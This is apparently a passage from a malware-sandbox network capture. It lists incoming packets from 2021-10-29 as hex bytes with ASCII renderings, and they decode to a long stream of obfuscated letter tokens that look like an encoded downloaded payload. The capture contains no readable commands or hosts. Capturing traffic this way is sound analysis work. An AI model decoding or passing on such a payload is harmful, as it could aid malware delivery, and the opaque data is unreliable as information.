20 4b 6b 20 59 78 20 4b 59 20 4f 4f 45 20 4f 78 78 20 6b 59 20 45 6b 20 59 6f 20 4f 4f 6f 20 4f 6f 59 20 6f 52 20 52 59 20 
6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 78 74 20 6b 59 20 45 74 20 45 51 20 6f 52 20 52 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 
6f 78 74 20 6b 59 20 4b 6f 20 59 6f 20 4f 6b 6b 20 51 59 20 4f 6f 4b 20 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 
6f 4f 20 4b 45 20 59 78 20 6f 4b 
Data Ascii:  Yx EY kK OOK Oxx OOO OOY RK OEY YY YK ER Qx kO OxQ OOo Yo Ek oR RQ kK OOK Oot OxE OOk oR 
tx Yx YK QK OoO OOQ OOQ oYE Et Kk Yx KY OOE Oxx kY Ek Yo OOo OoY oR RY kK OOK Oot oxt kY Et EQ oR RY 
kK OOK Oot oxt kY Ko Yo Okk QY OoK Y OOt OxQ Ooo OKK oO KE Yx oK

2021-10-29 15:55:36 UTC 1675 IN Data Raw: 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4f 4f 4f 20 4f 4f 74 20 4f 78 
51 20 4f 4f 6f 20 45 45 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 4b 20 4f 4f 45 20 4f 4f 4f 20 6f 59 4b 20 45 4f 20 59 6f 
20 45 6b 20 52 78 20 4f 45 6b 20 51 6b 20 4f 4f 51 20 4f 78 59 20 4f 4f 59 20 6f 52 20 74 4b 20 59 78 20 59 4b 20 51 4b 20 
4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52 20 45 6b 20 59 6b 20 6f 45 52 20 59 4b 20 6b 6f 20 6b 6b 20 4f 4f 74 20 4f 78 51 
20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 6f 20 45 52 20 4b 6b 20
59 59 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 6f 52 20 52 4b 20 4b 51 20 4b 6b 20 45 78 20 59 4b 20 6b 4b 20 4f 4f 
4b 20 4f 78 6f 20 4f 78 51 20 4f 
Data Ascii: OK Oot tO OOo Yx KE o YE kK OOO OOt OxQ OOo EE Kk Yx EQ kR QK OOE OOO oYK EO Yo Ek Rx OEk 
Qk OOQ OxY OOY oR tK Yx YK QK Oox OtO OxK kR Ek Yk oER YK ko kk OOt OxQ OOo YO Eo Yx YK kK OOK OOt 
OxQ Oxo ER Kk YY Yt kK OOK OOR OoR RK KQ Kk Ex YK kK OOK Oxo OxQ O

2021-10-29 15:55:36 UTC 1676 IN Data Raw: 74 20 4f 78 45 20 6b 6b 20 45 78 20 4b 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 52 4b 20 51 45 20 4f 45 20 4f 4f 6f 
20 59 78 20 59 6b 20 4b 6b 20 6b 51 20 59 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 78 20 59 78 20 4b 6b 20 4b 4f 20 
52 20 6b 52 20 4f 4f 4b 20 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 59 4b 20 52 51 20 4f 4f 6f 20 51 45 
20 6b 4f 20 4f 4f 6f 20 59 78 20 59 6b 20 45 78 20 52 6f 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 
6f 45 6b 20 4b 45 20 59 6f 20 4f 6f 4b 20 6b 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 51 20 6f 4b 20 6f 4b 20 59 4b 20 
6b 4b 20 4f 4f 52 20 51 45 20 74 78 20 4f 4f 6f 20 59 78 20 59 4b 20 59 52 20 6f 45 6f 20 6b 4f 20 6b 4b 20 4f 4f 51 20 4f 
78 45 20 4f 74 4b 20 59 78 20 59 4b 20 
Data Ascii: t OxE kk Ex Kk Yx Kk OoR RK QE OE OOo Yx Yk Kk kQ YE OOK OOt OxE Qx Yx Kk KO R kR OOK QK OxQ 
OOo Yx YK Yx YK RQ OOo QE kO OOo Yx Yk Ex Ro Ko Oxk OOt OxQ Ooo YR oEk KE Yo OoK kQ OOt OxQ OOk KQ 
oK oK YK kK OOR QE tx OOo Yx YK YR oEo kO kK OOQ OxE OtK Yx YK 

2021-10-29 15:55:36 UTC 1677 IN Data Raw: 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 52 59 20 51 4f 20 59 4f 20 59 4b 20 6b 6f 20 45 59 20 4f 4f 6b 20 4f 4f 
4f 20 4f 4f 20 4b 6b 20 4b 6b 20 59 78 20 59 78 20 59 51 20 4f 4f 45 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 51 51 20 45 51 
20 59 52 20 6f 45 6f 20 6b 6b 20 6b 4b 20 4f 4f 6b 20 45 78 20 6f 74 20 59 4f 20 4b 6b 20 59 6f 20 4f 78 45 20 52 52 20 4f 
6f 78 20 4f 74 4f 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 4b 6b 20 59 78 20 59 59 20 52 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 
4f 4f 6f 20 59 78 20 4b 6b 20 4b 6f 20 4b 52 20 6b 4b 20 4f 6f 52 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 
20 59 6f 20 6b 4b 20 4f 78 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 52 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 20 4f 
4f 51 20 4f 78 51 20 4f 4f 6f 
Data Ascii: K OOt OoK OOY RY QO YO YK ko EY OOk OOO OO Kk Kk Yx Yx YQ OOE OOR OxQ OOk QQ EQ YR oEo k
k kK OOk Ex ot YO Kk Yo OxE RR Oox OtO OxQ OOk oK Kk Yx YY Rk OOK OOt OxQ OOo Yx Kk Ko KR kK OoR Ooo 
OxQ OOo YO KE o Yo kK Oxx OOt OxQ OOo KR Kk Yx EQ kR Q OOQ OxQ OOo
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2021-10-29 15:55:36 UTC 1679 IN Data Raw: 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 
20 4f 6f 6f 20 51 6b 20 4f 4f 6f 20 59 59 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 4f 20 4f 4f 6f 20 
45 52 20 4b 6b 20 59 78 20 59 4b 20 74 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 4b 20 74 45 20 59 78 20 59 78 20 59 
4b 20 6b 78 20 4f 4f 45 20 6f 52 20 4f 78 6f 20 4f 4f 45 20 59 78 20 59 4b 20 59 52 20 6f 45 6f 20 6b 4f 20 6b 4b 20 51 51 
20 4f 78 45 20 4f 74 4b 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 
78 20 4b 6b 20 59 78 20 59 4b 20 51 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4b 59 
20 4f 78 78 20 4f 4f 6f 20 4f 4f 74 
Data Ascii: OoR OOK OOt Oxk QR Yx Kk Yx YK kK OOK Ooo Qk OOo YY RE Yx YK kY OxY RQ OOO OOo ER Kk Yx 
YK to OOK OOt OoK OOK tE Yx Yx YK kx OOE oR Oxo OOE Yx YK YR oEo kO kK QQ OxE OtK Yx YK oK YK kK OOY 
OxO OxQ OOo Yx Kk Yx YK QO OoY OOt OxK Oot Yx Kk YO KY Oxx OOo OOt

2021-10-29 15:55:36 UTC 1680 IN Data Raw: 6b 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 
4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 
51 20 4f 6f 74 20 52 4f 20 4b 6b 20 59 59 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 
20 45 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 59 20 4f 78 51 20 4f 4f 6f 20 45 59 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 
4f 4f 4b 20 4f 4f 45 20 4f 4f 78 20 45 4f 20 52 4f 20 4b 51 20 59 78 20 4b 6b 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59 20 4f 
78 6f 20 59 52 20 6f 45 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 
59 78 20 59 4b 20 6b 4b 20 4f 
Data Ascii: k YY kK OOR Oot OtQ OOt ox Ek YR oEo kK OOR QY OxQ OOo YO Eo Yx YK kK OOK OOt OxQ Oot RO Kk 
YY Yt kK OOK OOR OOk RK Kk Kk ER YK kK OOK OxY OxQ OOo EY Yx tE Yo kK OOK OOE OOx EO RO KQ Yx Kk QK 
Oto OOo tY Oxo YR oEk Yx Kk OoR OOK OOt Oxk QR Yx Kk Yx YK kK O

2021-10-29 15:55:36 UTC 1681 IN Data Raw: 4f 20 6f 78 20 6f 51 20 6b 4f 20 6f 51 20 6f 45 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 74 45 20 59 6f 20 
6b 4b 20 4f 4f 4b 20 4f 4f 45 20 6f 4b 20 6f 4b 45 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 6f 4f 20 4f 4f 45 20 6b 45 20 74 
78 20 4f 4f 74 20 51 45 20 4f 52 51 20 59 78 20 59 4b 20 51 4b 20 4f 4f 6f 20 4f 4b 20 4f 4f 78 20 4f 4f 6f 20 59 78 20 59 6f 
20 6f 45 20 6f 74 20 6b 52 20 6b 4b 20 51 59 20 52 51 20 6f 45 4b 20 59 78 20 4b 6b 20 59 52 20 6f 6b 20 74 6b 20 51 78 
20 52 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 4b 59 20 4f 78 78 20 4f 4f 51 20 4f 4f 74 20 4f 74 52 20 4f 4f 
45 20 59 78 20 4b 6b 20 4b 74 20 59 4b 20 6b 4b 20 51 51 20 4f 4f 20 4f 78 74 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 
78 20 6b 4b 20 4f 4f 4b 20 4f 
Data Ascii: O ox oQ kO oQ oEt OxQ OOo YR Yx tE Yo kK OOK OOE oK oKE Yx Kk YO OQ OoO OOE kE tx OOt QE 
ORQ Yx YK QK OOo OK OOx OOo Yx Yo oE ot kR kK QY RQ oEK Yx Kk YR ok tk Qx Ro OxQ OOo Yo oR Yx KY Oxx 
OOQ OOt OtR OOE Yx Kk Kt YK kK QQ OO Oxt OOo Yx Yo oR Ox kK OOK O

2021-10-29 15:55:36 UTC 1683 IN Data Raw: 6f 6f 6f 20 6b 74 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78 20 4b 6b 20 59 52 20 4b 6b 20 52 51 20 
4f 4f 51 20 4f 78 45 20 4f 78 74 20 45 4f 20 4f 4f 52 20 4b 6b 20 59 78 20 4b 6b 20 4f 6f 78 20 4f 74 4b 20 4f 6f 4b 20 45 
78 20 4f 6b 78 20 59 78 20 4b 6b 20 59 6f 20 45 51 20 6b 6f 20 51 78 20 4f 74 51 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 
20 4f 4b 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 78 6f 20 4f 78 6f 20 51 4f 20 6f 51 20 45 4b 20 59 74 20 45 78 20 6f 4b 52 
20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 52 6f 20 6f 74 20 4b 6f 20 4b 6b 20 59 51 20 52 52 20 4f 4f 74 20 4f 78 51 
20 4f 4f 6b 20 45 4f 20 59 4b 20 52 59 20 4f 59 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 45 20 6b 78 20 6f 4f 6b 20 59 4f 20
59 78 20 59 4b 20 4f 6f 4b 20 6f 45 
Data Ascii: ooo kt OOK OOt RQ oEQ Yx Kk YR Kk RQ OOQ OxE Oxt EO OOR Kk Yx Kk Oox OtK OoK Ex Okx Yx Kk Yo 
EQ ko Qx OtQ OxQ OOo Yo QY OKt YK kK Oox Oxo Oxo QO oQ EK Yt Ex oKR OOK OOt OxE QQ Ro ot Ko Kk YQ RR 
OOt OxQ OOk EO YK RY OYx kK OOK Oot oE kx oOk YO Yx YK OoK oE

2021-10-29 15:55:36 UTC 1684 IN Data Raw: 59 20 6f 78 74 20 6b 59 20 4b 74 20 45 52 20 6f 78 4b 20 4b 6b 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 
45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 78 74 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 6b 4f 20 59 
78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 4f 20 51 45 20 4f 78 6f 20 
4f 45 51 20 4f 78 74 20 4f 6b 20 59 78 20 4b 6b 20 59 6f 20 52 51 20 6f 4f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6f 4f 78 
20 6f 45 20 4b 74 20 59 52 20 45 4b 20 4f 74 78 20 4f 4f 52 20 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 52 74 20 4f 74 51 2
0 59 4b 20 6b 4b 20 4f 4f 52 20 6f 4f 59 20 74 6f 20 4f 4f 4f 20 59 74 20 45 52 20 6f 78 4b 20 4b 6b 20 4b 6b 20 4f 4f 4b 20 
4f 4f 74 20 4f 78 74 20 45 20 
Data Ascii: Y oxt kY Kt ER oxK Kk Yo OOK OOt Oxt E OtQ Kk Yx Kk oKR kt Oxt OoO OKo Yo kO Yx YK ko O oKK OxQ 
OOo Yo OKR oE KO QE Oxo OEQ Oxt Ok Yx Kk Yo RQ oOE OOK OOt Oxt oOx oE Kt YR EK Otx OOR oo OxQ OOo Yo 
Rt OtQ YK kK OOR oOY to OOO Yt ER oxK Kk Kk OOK OOt Oxt E 

2021-10-29 15:55:36 UTC 1685 IN Data Raw: 74 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 45 20 4f 59 4b 20 4b 6b 20 59 78 20 52 78 20 59 51 20 6f 59 
4f 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 74 20 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 45 6b 20 4f 4f 45 
20 59 78 20 59 4b 20 6f 45 20 52 51 20 6f 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 6b 45 20 4b 51 20 59 78 
20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 52 59 20 59 59 20 6b 4b 20 4f 4f 52 20 
6b 78 20 45 78 20 6f 4f 52 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 6f 4f 4f 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 59 20 
52 59 20 4f 59 6f 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 59 6b 2
0 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 
Data Ascii: tt kY OOK OOY to E OYK Kk Yx Rx YQ oYO OOR OxQ OOk oE Rt K YK kK Oox oR oEk OOE Yx YK oE RQ 
oYo OOK OOt OxE EO OkE KQ Yx Kk OOE O oOx OxQ OOo YR QY RY YY kK OOR kx Ex oOR Yx Kk YR kQ oOO OOY 
OOt Oxt kY RY OYo Yx YK QK oQ k Oxk OOo Yo oO RY OYk kK OOK Oot 

2021-10-29 15:55:36 UTC 1687 IN Data Raw: 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 45 20 4f 51 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 4f 4f 52 20 6b 4b 
20 4f 4f 4b 20 4f 6f 74 20 4f 78 6f 20 51 6b 20 59 4f 20 4b 74 20 6f 78 74 20 45 78 20 6f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 
45 20 6b 6b 20 4f 59 52 20 4b 6b 20 59 78 20 52 78 20 4f 6f 78 20 51 51 20 4f 4f 59 20 52 51 20 6f 6f 45 20 59 78 20 4b 6b
20 59 52 20 4b 6b 20 4f 6f 4b 20 4f 51 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 78 20 45 6b 20 52 6f 20 6f 45 6f 20 52 4b 
20 4f 78 4f 20 4f 6f 4f 20 4f 74 51 20 51 52 20 59 6f 20 6f 4b 20 4f 45 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 45 20 4f 6f 45 
20 4f 6f 4b 20 6f 45 52 20 59 45 20 6f 78 20 6f 45 6f 20 6b 4b 20 4f 78 78 20 51 59 20 4f 78 4f 20 51 78 20 59 78 20 4b 6b 
20 59 4f 20 45 6b 20 6b 4b 
Data Ascii: R YK kK Oox QE OQo OOo Yx Yk oR OOR kK OOK Oot Oxo Qk YO Kt oxt Ex oE OOK OOt OxE kk OYR Kk 
Yx Rx Oox QQ OOY RQ ooE Yx Kk YR Kk OoK OQK OOt OxQ Ooo ox Ek Ro oEo RK OxO OoO OtQ QR Yo oK OEx YK 
kK Oox kE OoE OoK oER YE ox oEo kK Oxx QY OxO Qx Yx Kk YO Ek kK

2021-10-29 15:55:36 UTC 1688 IN Data Raw: 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 59 6f 20 4b 51 20 59 78 20 59 78 20 4f 6f 4f 20 52 52 20 51 51 20 45 4f 
20 6f 45 78 20 59 6b 20 4b 6b 20 52 52 20 45 4b 20 4f 45 6f 20 4f 6f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45
52 20 59 78 20 59 4b 20 51 4b 20 4f 78 4f 20 6f 4b 6b 20 6f 6f 4b 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 52 52 
20 4f 78 6f 20 51 45 20 6f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 4f 4b 4b 20 45 78 20 6f 45 45 20 4f 4f 4b 20 4f 4f 74 20 4f 
78 45 20 6b 6b 20 4f 4b 78 20 4b 6b 20 59 78 20 52 78 20 6f 4f 6f 20 4f 4f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 74 52 
20 59 4b 20 59 4f 20 59 4b 20 6b 78 20 51 20 6f 78 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 6b 20 59 6f 20 59 59 20 6b 4b 
20 4f 4f 6b 20 51 45 20 4f 51 
Data Ascii: OY OOt OxY OK Yo KQ Yx Yx OoO RR QQ EO oEx Yk Kk RR EK OEo OoR OOt OxQ OOK oR OER Yx YK 
QK OxO oKk ooK OOo Yx KQ oE Eo RR Oxo QE oxQ OOo Yx Yk OKK Ex oEE OOK OOt OxE kk OKx Kk Yx Rx oOo OO
R OOR OxQ OOR tR YK YO YK kx Q oxo OxQ OOo YR tk Yo YY kK OOk QE OQ
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2021-10-29 15:55:36 UTC 1689 IN Data Raw: 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f 6b 6f 20 4b 6b 
20 45 78 20 4f 6b 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 4f 4b 20 4b 6b 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 78 
52 20 74 78 20 4f 78 4f 20 4f 4f 4b 20 4b 51 20 59 6f 20 6f 52 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 4f 52 20 52 
74 20 59 6f 20 52 74 20 4f 59 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 59 20 74 4f 20 4f 51 6b 20 4b 6b 20 6f 4b 20 6f 4f 4f 
20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 52 4b 20 4f 4f 52 20 6f 78 20 45 52 20 6f 59 20 59 4f 20 4f 6f 4b 20 51 52 20 4f 
4f 74 20 4f 78 51 20 51 4f 20 51 45 20 74 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 4f 78 51 20 51 4b 20 4f 6f 78 20 4b 6b 2
0 59 4f 20 59 4b 20 45 78 20 4f 59 
Data Ascii: E E Yo RQ oYY OOK OOt OxE Ox oK Oko Kk Ex OkE OOK OOt Oxt EO OK Kk Yx Kk OOE OxR tx OxO OOK 
KQ Yo oR Oxk kK OOK OOY OOR Rt Yo Rt OYE YK kK Oox OY tO OQk Kk oK oOO YK kK OOR kx RK OOR ox ER oY 
YO OoK QR OOt OxQ QO QE t Yx YK ko kt OxQ QK Oox Kk YO YK Ex OY

2021-10-29 15:55:36 UTC 1691 IN Data Raw: 45 20 6f 52 20 59 52 20 4f 4f 45 20 59 78 20 59 4b 20 45 78 20 6f 6f 20 6b 52 20 51 78 20 4f 6f 4b 20 4f 78 51 
20 4f 4f 6f 20 59 6f 20 51 59 20 4f 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 
51 20 59 78 20 4f 6f 4b 20 4f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 
20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4b 6b 20 45 45 20 52 20 6b 78 20 4f 4f 4b 20 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 
78 20 6f 78 20 59 78 20 59 4b 20 52 51 20 4f 4f 45 20 6f 52 20 59 6b 20 4f 4f 45 20 59 78 20 59 4b 20 45 78 20 51 74 20 
45 51 20 6f 45 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 52 20 59 4b 20 4b 51 20 6b 51 20 4b 51 20 4f 4f 59 20 4f 4f 74 2
0 4f 78 74 20 45 4f 20 4f 52 52 20 
Data Ascii: E oR YR OOE Yx YK Ex oo kR Qx OoK OxQ OOo Yo QY OO YK kK OOR kx OOt Rt Yk Yx KQ Yx OoK OR 
OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK Kk EE R kx OOK oO OxQ OOo Yx ox Yx YK RQ OOE oR Yk OOE 
Yx YK Ex Qt EQ oEO OOt OxQ OOk YR YK KQ kQ KQ OOY OOt Oxt EO ORR 

2021-10-29 15:55:36 UTC 1692 IN Data Raw: 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 52 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 6f 59 20 4f 
4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 45 20 45 52 20 6f 
78 4b 20 4b 6b 20 45 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b
74 20 4f 4f 4f 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 74 78 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 
20 59 6f 20 4f 4b 52 20 6f 45 20 4b 59 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 6f 52 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 
4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 52 20 45 52 20 6f 78 4b 20 4b 6b 20 4b 59 20 4f 4f 4b 
20 4f 4f 74 20 4f 78 74 20 45 20 
Data Ascii: K OxQ OOo Yo OKR oE KR RK OKx OOY oY OOo Yx YK RY OkE kK OOK OOY oxt kY KE ER oxK Kk EE 
OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OOO OoO OKo Yo tx Yx YK ko O oKK OxQ OOo Yo OKR oE KY RK OKx OOY oR 
OOo Yx YK RY OkE kK OOK OOY oxt kY KR ER oxK Kk KY OOK OOt Oxt E 

2021-10-29 15:55:36 UTC 1693 IN Data Raw: 4f 6f 20 59 78 20 4b 45 20 6f 20 59 78 20 6b 4b 20 6b 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 59 20 4b 6b 
20 59 78 20 45 51 20 6b 78 20 4f 20 6f 4b 51 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 4b 59 20 6b 4b 20 4f 4f
4b 20 4f 6f 74 20 6f 20 45 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 
51 45 20 74 4f 20 59 4f 20 59 4b 20 6b 6f 20 6b 74 20 52 20 51 4f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 74 51 20 6b 59
20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 45 20 4f 59 4b 20 4b 6b 20 59 78 20 52 78 20 59 51 20 6f 4b 51 20 4f 4f 52 20 4f 78 51 2
0 4f 4f 6b 20 6f 45 20 52 74 20 4f 59 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6b 20 4f 4f 45 20 59 78 20 59 4b 20 6f 
45 20 52 51 20 6f 59 45 20 4f 
Data Ascii: Oo Yx KE o Yx kK kt OOR OxQ OOo KY Kk Yx EQ kx O oKQ Oxk OOo Yo oO RY OKY kK OOK Oot o EO YO 
Kk Yo OQ EQ Oxt OOt OxQ Ooo QE tO YO YK ko kt R QO OOo Yx Yk QE tQ kY OOK OOY to E OYK Kk Yx Rx YQ oKQ 
OOR OxQ OOk oE Rt OYK YK kK Oox oR Ok OOE Yx YK oE RQ oYE O

2021-10-29 15:55:36 UTC 1695 IN Data Raw: 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4b 6b 20 59 78 20 6f 6f 20 6b 
4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4b 20 4f 78 6b 20 6f 52 20 51 6b 20 59 78 20 59 4b 20 51 4b 20 78 20 4f 45 20 4f 78 4f 
20 4f 4f 6f 20 52 52 20 6f 4b 20 4f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 4f 78 74 20 6b 6b 20 4f 59 6b 20 4b 6b 
20 59 78 20 52 78 20 4f 6f 78 20 52 6b 20 4f 4f 59 20 45 78 20 6f 78 20 59 78 20 4b 6b 20 59 52 20 45 78 20 6f 4b 51 20 
4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f 4f 6f 20 4b 6b 20 59 78 20 52 78 20 51 59 20 51 52 20 4f 4f 52 20 4f 4f 4b 
20 4f 4b 4f 20 6f 52 20 4f 4f 59 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 4f 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 
45 59 20 4b 6b 20 4f 6f 4b 20 6f 6f 4f 
Data Ascii:  Yx YY tQ RR OOk OxQ Ok Yx Kk Yx oo kK OOK Oxx OOK Oxk oR Qk Yx YK QK x OE OxO OOo RR oK OO 
YK kK Oox Oot Oxt kk OYk Kk Yx Rx Oox Rk OOY Ex ox Yx Kk YR Ex oKQ OOK OOt OxE kk OOo Kk Yx Rx QY QR 
OOR OOK OKO oR OOY Yx YK QK Qx oOQ OxQ OOo YR ok EY Kk OoK ooO

2021-10-29 15:55:36 UTC 1696 IN Data Raw: 20 4b 51 20 59 78 20 59 78 20 4b 74 20 6f 78 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 52 20 59 6b 20 59 4f 
20 59 4b 20 6b 78 20 4f 6f 20 4f 6f 4b 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 51 20 6f 20 45 6f 20 45 6b 20 6f 6f 6b 20 4f 6f 
59 20 4f 78 51 20 78 20 45 6b 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 20 4f 4f 6f 20 59 78 
20 59 6b 20 45 74 20 4f 6b 74 20 6f 4f 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 45 52 20 45 6b 20 45 6b 20 45 78 
20 6f 45 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 52 20 4f 4b 4f 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 
